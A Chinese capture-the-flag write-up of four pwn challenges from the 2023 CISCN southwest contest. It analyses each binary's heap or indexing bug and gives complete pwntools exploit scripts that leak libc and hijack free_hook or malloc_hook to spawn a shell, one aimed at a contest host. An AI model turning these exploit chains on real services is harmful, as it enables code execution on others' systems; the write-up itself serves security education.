2023 ciscn 西南赛区 pwn 题解

新闻资讯   2023-07-12 17:59   46   0  

fix的话,over和artist都是加上沙箱即可。car_manager和223heap把free或者delete函数全部nop掉即可,下面是break部分。


car_manager


C++的堆菜单题,抹了函数名,逆向起来有难度的话可以动调来推测功能。


申请了4个0x8的堆块作为轮子放置了tire_size和tire_pressure,0x68作为车子本体,包含了make、model、year等信息,在最后放置了四个轮子的堆块指针。


for ( i = 0; i <= 3; ++i )
{
*(&v10 + i) = operator new(8uLL);
if ( tire_size )
**(&v10 + i) = tire_size;
if ( tire_pressure )
*(*(&v10 + i) + 4) = tire_pressure;
}
if ( year )
{
std::string::basic_string(v14, make);
std::string::basic_string(v15, model);
v1 = operator new(0x68uLL);
sub_3644(v1, v14, v15, year, v10, v11, v12, v13);
v7 = v1;
std::string::~string(v15);
std::string::~string(v14);
sub_3C48(a1, &v7);
std::operator<<<std::char_traits<char>>(&std::cout, "Car added successfully!\n");
}


copy函数中在复制轮子时,也直接复制4个轮子的堆块指针,这导致free原本的车子堆块后新车辆轮子堆块内容不再是tire_size和tire_pressure,而变为tcache上的堆地址。


__int64 __fastcall sub_3B46(_QWORD *a1, _QWORD *a2)
{
__int64 v2; // rdx
__int64 result; // rax
__int64 v4; // rdx

std::string::basic_string(a1, a2);
std::string::basic_string(a1 + 4, a2 + 4);
a1[8] = a2[8];
v2 = a2[10];
a1[9] = a2[9];
a1[10] = v2;
result = a2[11];
v4 = a2[12];
a1[11] = result;
a1[12] = v4;
return result;
}


实际上实现了一个UAF漏洞,free函数的机制则是当我们free一个堆块时,会将下一个车子堆块依次回退一格,但高位仍保留。


触发漏洞即可完成堆地址的泄露,利用UAF劫持tcache堆块的fd,申请到unsortbin堆块泄露libc,再次劫持fd申请到free_hook完成利用。


(值得注意的是,在申请unsortbin位置堆块后导致双向链表被破坏,无法再从unsortbin里申请堆块,要控制劫持的tcache位置,满足申请一次需要的4个0x20堆块)


# _*_ coding:utf-8 _*_
from pwn import *
import re
import os, struct, random, time, sys, signal
import hashlib
from hashlib import sha256

p = process("./car_manager")
elf = ELF("./car_manager")
libc = elf.libc

context.log_level = "debug" # info
context.arch = elf.arch
context.terminal = ['tmux', 'splitw', '-hp','64']


def dbg(breakpoint=''):
elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
script = 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdb.attach(p,script)
pause()

#-----------------------------------------------------------------------------------------
s = lambda data :p.send(str(data))
sa = lambda text,data :p.sendafter(text, str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda text,data :p.sendlineafter(text, str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
ia = lambda :p.interactive()
hs256 = lambda data :sha256(str(data).encode()).hexdigest()
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
uu32 = lambda :u32(p.recv(4).ljust(4,'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,'\x00'))
int16 = lambda data :int(data,16)
lg = lambda s :p.success('%s -> 0x%x' % (s, eval(s)))
# sc = lambda :shellcraft.amd64.linux.sh()
#-----------------------------------------------------------------------------------------


def add(make,model,year,size,pressure):
sla("Please enter your choice:",1)
sla("Enter the make of the car: ",make)
sla("Enter the model of the car: ",model)
sla("Enter the year of the car: ",year)
sla("Enter the size of tire : ",size)
sla("Enter the pressure of tire : ",pressure)

def dele(idx):
sla("Please enter your choice:",2)
sla("Enter the index of the car to delete: ",idx)

def find(make,model,year):
sla("Please enter your choice:",3)
sla("Enter the make of the car to find: ",make)
sla("Enter the model of the car to find: ",model)
sla("Enter the year of the car to find: ",year)

def edit(idx, make, model, year, choice, tire_size, tire_pressure, tire_idx=None):
sla("Please enter your choice:",4)
sla("Enter the index of the car to modify: ",idx)
sla("Enter the new make of the car: ",make)
sla("Enter the new model of the car: ",model)
sla("Enter the new year of the car: ",year)
sla("Do you want to change all tires?(1/0)",choice)
if choice==1:
sla("Enter the new size of tire : ",tire_size)
sla("Enter the new pressure of tire : ",tire_pressure)
else:
sla("Enter the idx of tire : ",tire_idx)
sla("Enter the new size of tire : ",tire_size)
sla("Enter the new pressure of tire : ",tire_pressure)

def copy(idx):
sla("Please enter your choice:",5)
sla("Enter the index of the car to copy: ",idx)


def show():
sla("Please enter your choice:",6)

for i in range(0x101):
add('e4l4',i,1999,0x10,0x10)


copy(0)
copy(255)
dele(0)
show()
ru("Tire Sizes: 0, ")
heap_base_2 = int((ru(",")[:-1]),10)
lg('heap_base_2')

ru("Tire Pressures: 0, ")
heap_base_1 = int((ru(",")[:-1]),10)
lg('heap_base_1')

heap_base = (heap_base_1 << 32)+heap_base_2-0x011eb0
lg('heap_base')

unsort_heap_2 = (heap_base+0x01a0b0)&0xffffffff
unsort_heap_1 = (heap_base+0x01a0b0)>>32
edit(256,'e4l4',1,1999,1,unsort_heap_2+0x10,unsort_heap_1)
add('e4l4',259,1999,0,0)

show()
ru("Car 258:")
ru(", ")
libc_base_2 = int((ru(",")[:-1]),10)
ru("Tire Pressures: ")
ru(", ")
libc_base_1 = int((ru(",")[:-1]),10)
libc_base = (libc_base_1 << 32)+libc_base_2-0x1ecbe0
lg("libc_base")

free_hook = libc_base + 0x1eee48
system = libc_base + 0x52290
sh = 0x68732f6e69622f

dele(257)
show()

edit(254,'e4l4',1,1999,0,free_hook&0xffffffff,free_hook>>32,1)
edit(254,'e4l4',1,1999,0,sh&0xffffffff,sh>>32,0)
add('e4l4','e4l4',1999,system&0xffffffff,system>>32)
dele(254)

ia()


artist


这道题漏洞挺多,关键漏洞点在于3号功能在第一次使用时,可以将一个ptr堆块地址放进buf,然后可以进入一个执行分支,输入yes可以在buf附近的位置写入0,这里可以实现任意libc地址写0,但似乎用不上。最后会执行一个对buf的0x10的写入,由于第二次开始不用再输入idx就能直接对buf进行修改,如果buf的堆块被free,就达到了一个UAF的效果。


__int64 sub_1411()
{
unsigned int v1; // [rsp+8h] [rbp-38h] BYREF
int v2; // [rsp+Ch] [rbp-34h]
char s1[40]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v4; // [rsp+38h] [rbp-8h]

v4 = __readfsqword(0x28u);
v2 = 0;
if ( isFirst )
{
write_s("What? Great artists need scrap paper for art?\n");
write_s("idx: \n");
__isoc99_scanf("%u", &v1);
buf = *(&ptr + v1 + 4);
isFirst = 0;
}
write_s("do you want crazy\n");
__isoc99_scanf("%3s", s1);
if ( !strncmp(s1, "yes", 3uLL) )
v2 = 1;
if ( v2 )
set_0();
return read_buf();
}


idx不会减少,最大为19(需要注意的是,而执行功能2当idx大于>15时程序会exit)。


放置idx过大,所以利用UAF劫持申请到tcache_struct,修改tcache堆块个数,从而将堆块放入unsortbin泄露libc地址,同样的办法再劫持tcache的fd申请free_hook。


# _*_ coding:utf-8 _*_
from pwn import *
import re
import os, struct, random, time, sys, signal
import hashlib
from hashlib import sha256

# p = remote("","")
p = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc

context.log_level = "debug" # info
context.arch = elf.arch
context.terminal = ['tmux', 'splitw', '-hp','64']


def dbg(breakpoint=''):
elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
script = 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdb.attach(p,script)
pause()

#-----------------------------------------------------------------------------------------
s = lambda data :p.send(str(data))
sa = lambda text,data :p.sendafter(text, str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda text,data :p.sendlineafter(text, str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
ia = lambda :p.interactive()
hs256 = lambda data :sha256(str(data).encode()).hexdigest()
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
uu32 = lambda :u32(p.recv(4).ljust(4,'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,'\x00'))
int16 = lambda data :int(data,16)
lg = lambda s :p.success('%s -> 0x%x' % (s, eval(s)))
# sc = lambda :shellcraft.amd64.linux.sh()
#-----------------------------------------------------------------------------------------

def add(con):
sla(">",1)
p.sendafter("input some",con)

def edit(idx,con):
sla(">",2)
sla("idx:",idx)
sla("Would you like to make final edits?",1)
p.sendafter("input your content",con)

def show(idx):
sla(">",2)
sla("idx:",idx)
sla("Would you like to make final edits?",2)

# x/32gx $rebase(0x4088)

buf = 0x4060
ptr = 0x4088

sla("Let us get to know each other.",'e4l4')

add('a')# 0
add('a')# 1
add('a')# 2
show(2)
show(0)
show(1)
add('a')# 3
add('a')# 4


sla(">",3)
sla("idx:",3)
sa("do you want crazy",'f\n')
sa("Go ahead and doodle for your artistic inspiration.",'a')


show(3)
ru("Please enjoy your masterpiece.\n")
heap_base = uu64()
lg("heap_base")

sla(">",3)
sa("do you want crazy",'f\n')
sa("Go ahead and doodle for your artistic inspiration.",p64(heap_base-0x261+0x10))

add('a')# 5
add('\x00'*0xe+'\x07\x00')# 6

show(5)
show(4)

edit(6,'\x00'*0x10)

add('a')# 7
show(7)
libc_base = l64()-0x1ecc61
lg('libc_base')
free_hook = libc_base + libc.sym["__free_hook"]
system = libc_base +libc.sym["system"]

add('a')# 8
add('a')# 9

show(8)
show(9)
sla(">",3)
sa("do you want crazy",'f\n')
sa("Go ahead and doodle for your artistic inspiration.",p64(free_hook))

add('/bin/sh\x00')# 10
add(p64(system))
# dbg()
show(10)

ia()


over


题目看上去存在一个很复杂的算法,观察发现其3个功能都是对*(&ptr + num + 12)这个位置的值进行加减异或,而num却为int类型。


__int64 *sub_156C()
{
int v0; // ecx
__int64 *result; // rax
int i; // [rsp+4h] [rbp-4Ch]
int v3; // [rsp+8h] [rbp-48h]
int v4; // [rsp+1Ch] [rbp-34h]
int v5[10]; // [rsp+20h] [rbp-30h]
unsigned __int64 v6; // [rsp+48h] [rbp-8h]

v6 = __readfsqword(0x28u);
show("what do you want to choose\n");
v3 = read_num();
if ( v3 > 4 )
exit(0);
v4 = (0x35DA * v3 - 0x4B2D) ^ 0xC925;
for ( i = 0; i <= 9; ++i )
{
v5[i] = (0x35DA * v3) ^ v3 ^ (0x35DA * v3) ^ 42641;
v5[i] += v4;
}
ptr += v4;
show("some add\n");
v0 = *(&ptr + v3 + 12) + read_num();
result = &ptr;
*(&ptr + v3 + 12) = v0;
return result;
}


题目开始将puts的真实地址放在了puts_addr 变量上。由于有效的输出函数无法泄露libc,这里可以控制num来修改puts_addr为system函数的真实地址,也就是puts函数的真实地址+相对偏移=system函数的真实地址,再调用4功能即可实现getshell。


num的计算可以参考汇编,0x28/4-0xc=-2。


//*(&ptr + v3 + 12) = v0;
.text:0000000000001688 48 83 C0 0C add rax, 0Ch
.text:000000000000168C 48 8D 14 85 00 00 00 00 lea rdx, ds:0[rax*4]
.text:0000000000001694 48 8D 05 C5 29 00 00 lea rax, ptr
.text:000000000000169B 89 0C 02 mov [rdx+rax], ecx
.text:000000000000169E 90 nop

# _*_ coding:utf-8 _*_
from pwn import *
import re
import os, struct, random, time, sys, signal
import hashlib
from hashlib import sha256

p = remote("172.16.9.41","8888")
# p = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc

context.log_level = "debug" # info
context.arch = elf.arch
context.terminal = ['tmux', 'splitw', '-hp','64']


def dbg(breakpoint=''):
elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
script = 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdb.attach(p,script)
pause()

#-----------------------------------------------------------------------------------------
s = lambda data :p.send(str(data))
sa = lambda text,data :p.sendafter(text, str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda text,data :p.sendlineafter(text, str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
ia = lambda :p.interactive()
hs256 = lambda data :sha256(str(data).encode()).hexdigest()
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
uu32 = lambda :u32(p.recv(4).ljust(4,'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,'\x00'))
int16 = lambda data :int(data,16)
lg = lambda s :p.success('%s -> 0x%x' % (s, eval(s)))
# sc = lambda :shellcraft.amd64.linux.sh()
#-----------------------------------------------------------------------------------------

sla("what is your name",'/bin/sh')

def add(idx,con):
sla("what do you want to do",1)
sla("what do you want to choose",idx)
sla("some add\n",con)

def clean(idx,con):
sla("what do you want to do",2)
sla("what do you want to choose",idx)
sla("some add\n",con)

def xor(idx,con):
sla("what do you want to do",3)
sla("what do you want to choose",idx)
sla("some add\n",con)

# dbg(0x153F)
clean(-2,0x032190)
sla("what do you want to do",4)
ia()


223heap


题目一共能申请三种大小的堆块,分别存放在free/ptr/buf中(这里的free覆盖并不能达到执行函数的目的,因为free_got已经存在真实函数地址),通过切割unsortbin堆块可以获得libc地址。


dele功能0/1/2分别指代buf ptr free,难点在于free(1)即free ptr时,会导致ptr_size被置为0,没有办法使用show功能,所以要注意泄露地址之前不能free(1)。


由于在进行free时并不会对指针置0,可以操作指针让它们指向同一堆块,实现堆叠,利用edit功能实现UAF的利用。


00000000006020c0 00000000009b6010 00000000009b6010
00000000006020d0 00000000009b6010 0000000000000000


由于2.23只能申请fastbin,所以申请0x68的堆块,劫持到malloc_hook-0x23,覆盖为one_gadget。


# _*_ coding:utf-8 _*_
from pwn import *
import re
import os, struct, random, time, sys, signal
import hashlib
from hashlib import sha256

# p = remote("","")
p = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc

context.log_level = "debug" # info
context.arch = elf.arch
context.terminal = ['tmux', 'splitw', '-hp','64']


def dbg(breakpoint=''):
elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
script = 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdb.attach(p,script)
pause()

#-----------------------------------------------------------------------------------------
s = lambda data :p.send(str(data))
sa = lambda text,data :p.sendafter(text, str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda text,data :p.sendlineafter(text, str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
ia = lambda :p.interactive()
hs256 = lambda data :sha256(str(data).encode()).hexdigest()
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
uu32 = lambda :u32(p.recv(4).ljust(4,'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,'\x00'))
int16 = lambda data :int(data,16)
lg = lambda s :p.success('%s -> 0x%x' % (s, eval(s)))
# sc = lambda :shellcraft.amd64.linux.sh()
#-----------------------------------------------------------------------------------------

def add(size,con):
sla("input:",1)
sla("please enter size of malloc :",size)
p.sendafter("please enter contents of your heap:",con)

def edit(con):
sla("input:",4)
sla("please enter what you want to edit:",con)

def show():
sla("input:",2)

def dele(idx):
sla("input:",3)
sla("please enter which heap you want to delete:",idx)

def malloc_s():
sla("input:",5)


buf = 0x6020C0
puts = elf.plt['puts']

add(0x300,p64(puts))
add(0x38,'a')
dele(2)

add(0x100,'a')
show()
libc_base = l64()-0x3c4e61
lg('libc_base')
free_hook = libc_base+0x3c67a8
malloc_hook = libc_base+libc.sym["__malloc_hook"]
lg('free_hook')
one = libc_base + 0x4527a

dele(1)
add(0x68,'a')
dele(2)
edit(p64(malloc_hook-0x23))
add(0x60,'a')
add(0x60,'a'*0x13+p64(one))

malloc_s()
ia()
'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''





看雪ID:ef4tless

https://bbs.kanxue.com/user-home-923544.htm

*本文为看雪论坛优秀文章,由 ef4tless 原创,转载请注明来自看雪社区


# 往期推荐

1、在 Windows下搭建LLVM 使用环境

2、深入学习smali语法

3、安卓加固脱壳分享

4、Flutter 逆向初探

5、一个简单实践理解栈空间转移

6、记一次某盾手游加固的脱壳与修复




球分享

球点赞

球在看

文章引用微信公众号"看雪学苑",如有侵权,请联系管理员删除!

博客评论
还没有人评论,赶紧抢个沙发~
发表评论
说明:请文明发言,共建和谐网络,您的个人信息不会被公开显示。